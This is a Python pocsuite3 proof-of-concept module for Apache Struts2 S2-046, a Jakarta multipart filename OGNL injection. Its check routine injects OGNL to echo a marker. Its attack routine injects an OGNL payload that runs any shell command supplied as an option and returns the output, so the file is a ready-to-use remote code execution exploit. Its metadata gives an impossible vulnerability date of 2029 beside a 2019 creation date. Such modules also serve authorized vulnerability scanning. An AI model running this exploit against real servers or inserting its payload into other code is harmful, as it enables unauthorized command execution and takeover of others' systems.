from collections import OrderedDict

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2029-5-8'
    createDate = '2019-5-8'
    updateDate = '2019-5-8'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-046']
    name = 'Apache Struts2 s2-046'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('ls', description="可执行的shell命令")
        return o

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _check(self):
        result = {}
        headers = {
            "Connection": "Close",
            "Content-Type": "multipart/form-data; boundary=3b0bfa1f36cb6157a128f0549a4a7446",
        }
        # html = requests.post(self.url, files=files, headers=headers).text
        data = b'''--3b0bfa1f36cb6157a128f0549a4a7446
Content-Disposition: form-data; name="test"; filename="%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=utf-8')).(#res.getWriter().print('security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}\0\0b"
Content-Type: text/plain

x
--3b0bfa1f36cb6157a128f0549a4a7446--'''.replace(b'\n', b'\r\n')
        html = requests.post(self.url, data=data, headers=headers).text
        if 'security_check' == html:
            result["VerifyInfo"] = {
                "URL": self.url,
            }
            return result
        return False

    def _attack(self):
        result = {}
        p = self._check()
        if p:
            exec_payload = b"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('CMD'.toString().split('\\\\s'))).start().getInputStream()).useDelimiter('\\\\AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}\0\0b"
            cmd = self.get_option("command")
            exec_payload = exec_payload.replace(b'CMD', cmd.encode())
            data = b'''--3b0bfa1f36cb6157a128f0549a4a7446
Content-Disposition: form-data; name="test"; filename="FILENAME"

Content-Type: text/plain
    
x
--3b0bfa1f36cb6157a128f0549a4a7446--'''.replace(b'FILENAME', exec_payload).replace(b'\n', b'\r\n')
            headers = {
                "Connection": "Close",
                "Content-Type": "multipart/form-data; boundary=3b0bfa1f36cb6157a128f0549a4a7446",
            }
            html = requests.post(self.url, data=data, headers=headers).text

            if html:
                result["VerifyInfo"] = {
                    "URL": self.url,
                    "Content": html.replace("\x00", "").encode()
                }
            return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
